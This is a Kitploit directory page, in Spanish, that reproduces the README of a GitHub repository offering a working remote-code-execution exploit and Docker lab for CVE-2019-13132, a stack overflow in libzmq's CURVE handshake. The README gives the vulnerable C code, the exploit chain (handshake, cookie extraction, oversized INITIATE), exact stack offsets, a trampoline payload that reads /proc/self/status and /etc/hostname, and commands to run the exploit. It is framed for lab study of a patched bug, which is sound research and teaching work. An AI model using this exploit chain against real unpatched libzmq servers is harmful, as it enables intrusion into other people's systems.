Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2019-13132-lab — CVE-2019-13132 — desbordamiento de pila en CURVE INITIATE de libzmq → RCE. Exploit funcional + laboratorio Docker. | Kitploit
Herramientas/GitHubGitHub/dinosn/cve-2019-13132-lab
Análisis de VulnerabilidadesExplotaciónIngeniería InversaFuzzingAprendizaje y EducaciónDesarrollo de PayloadsExplotación de BinariosLabs y Práctica
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — desbordamiento de pila en CURVE INITIATE de libzmq → RCE. Exploit funcional + laboratorio Docker.

Ver Repositorio
15hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-13132 — desbordamiento de pila en CURVE INITIATE de libzmq → laboratorio RCE

CVE CVSS Affected License

Exploit RCE funcional de extremo a extremo + laboratorio reproducible para CVE-2019-13132, un desbordamiento de búfer de pila en el manejador del handshake CURVE INITIATE de libzmq. Un atacante que conozca la clave pública de largo plazo del servidor (un parámetro público por diseño) puede desbordar un búfer de pila de tamaño fijo en process_initiate(), sobrescribir la dirección de retorno guardada y redirigir la ejecución hacia código arbitrario.

Por Nicolas Krassas (@dinosn).

Solo para uso en laboratorio. Este kit incluye una versión de libzmq 4.3.0 intencionalmente vulnerable con las mitigaciones desactivadas. No expongas el puerto 5556 fuera del laboratorio. El fallo se corrigió en libzmq 4.3.2.


Inicio rápido

docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

Prueba de humo automatizada (ejecuta el exploit y verifica el archivo de prueba):

docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

Estructura del repositorio

.
├── README.md           # this file
├── Dockerfile          # one-command containerised lab
├── server-curve.c      # CURVE REP listener — the vulnerable target
├── exploit.py          # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py  # build-time offset extraction → build_offsets.json
├── calibrate.sh        # runtime calibration → profile.json
├── start_server.sh     # start/restart the target
├── run_lab_test.sh     # automated end-to-end smoke test
└── entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)

La vulnerabilidad

src/curve_server.cpp:284-336 (libzmq 4.3.0):

if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box es un búfer asignado en la pila de 416 bytes. El memcpy escribe size - 113 bytes en la región de payload de 400 bytes (desplazamiento 16..415). Cualquier INITIATE con size > 513 desborda el búfer y alcanza los registros del callee guardados y la dirección de retorno.

La verificación de la cookie ocurre antes del desbordamiento, por lo que el INITIATE debe incluir una cookie genuina — pero la cookie se obtiene del mensaje WELCOME previo usando únicamente la clave pública de largo plazo del servidor.


Cadena de explotación

1. Handshake CURVE (solo se necesita la clave pública)

El protocolo CURVE está diseñado para que los clientes ya posean la clave pública de largo plazo del servidor (está en la URI de conexión o en la configuración). El exploit:

  1. Genera un nuevo par de claves efímeras (C', c').
  2. Envía un HELLO válido — el servidor lo descifra usando C' + su clave secreta.
  3. Recibe WELCOME — lo descifra usando C' + la clave pública del servidor.
  4. Extrae la cookie de WELCOME.
  5. Envía INITIATE con la cookie genuina + un payload de tamaño excesivo.
  6. La cookie se valida y el memcpy vulnerable se dispara.

No se requieren credenciales de nivel de aplicación. No hay omisión de la autenticación ZAP. El desbordamiento se dispara durante el intercambio de claves CURVE, antes de que la aplicación llegue a ver al peer.

2. Desbordamiento de pila → sobrescritura de la dirección de retorno

process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

El exploit envía 464 bytes de payload: 456 bytes de relleno (0x41) para alcanzar la dirección de retorno, seguidos de 8 bytes que contienen la dirección de lab_trampoline().

3. Ruta de error → epílogo → ret → trampolín

Después del desbordamiento, crypto_box_open() falla (los datos desbordados son texto cifrado basura). La ruta de error registra el fallo, establece errno y devuelve -1 — pero la ruta de error solo accede a ubicaciones de pila por debajo de la región desbordada (RSP+0xe0, RSP+0xf0, RSP+0x280), por lo que se ejecuta limpiamente con la pila corrupta.

El epílogo de la función (add $0x628,%rsp; pop rbx-r15; ret) extrae los registros guardados corruptos (ahora 0x4141414141414141) y luego ret carga la dirección de nuestro trampolín.

4. Ejecución de código

lab_trampoline() utiliza syscalls directos (sin libc, sin fork()) para escribir el archivo de prueba:

void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

Se utilizan syscalls directos en lugar de system() / fork() porque process_initiate() se ejecuta en el hilo de E/S de libzmq — llamar a fork() desde un hilo distinto al principal en un proceso multi-hilo provoca un interbloqueo en los manejadores de bloqueo pthread_atfork de glibc.

Por qué solo se necesita la clave pública

La clave pública de largo plazo del servidor es un parámetro público en el protocolo CurveZMQ: los clientes deben tenerla para conectarse. Normalmente se distribuye en archivos de configuración, URIs o mecanismos de descubrimiento. El exploit no requiere ningún material secreto.


Resolución de offsets

El exploit necesita dos valores:

campovalorfuente
trampoline_addr0x401206nm server-curve (binario no PIE, dirección fija)
offset_to_ret456desensamblado de process_initiate (0x658 - 0x490)

Ambos están hardcodeados en exploit.py como valores integrados por defecto para la compilación del laboratorio Docker (Debian 12, gcc 12, libzmq 4.3.0). No se requiere ningún paso de calibración — basta con ejecutar el exploit:

python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

Prioridad de resolución: flags --trampoline/--offset → archivo --profile → /opt/zmq-curve-rce/profile.json → valores integrados por defecto.

¿Por qué no hay fingerprinting en tiempo de ejecución?

Descargar herramienta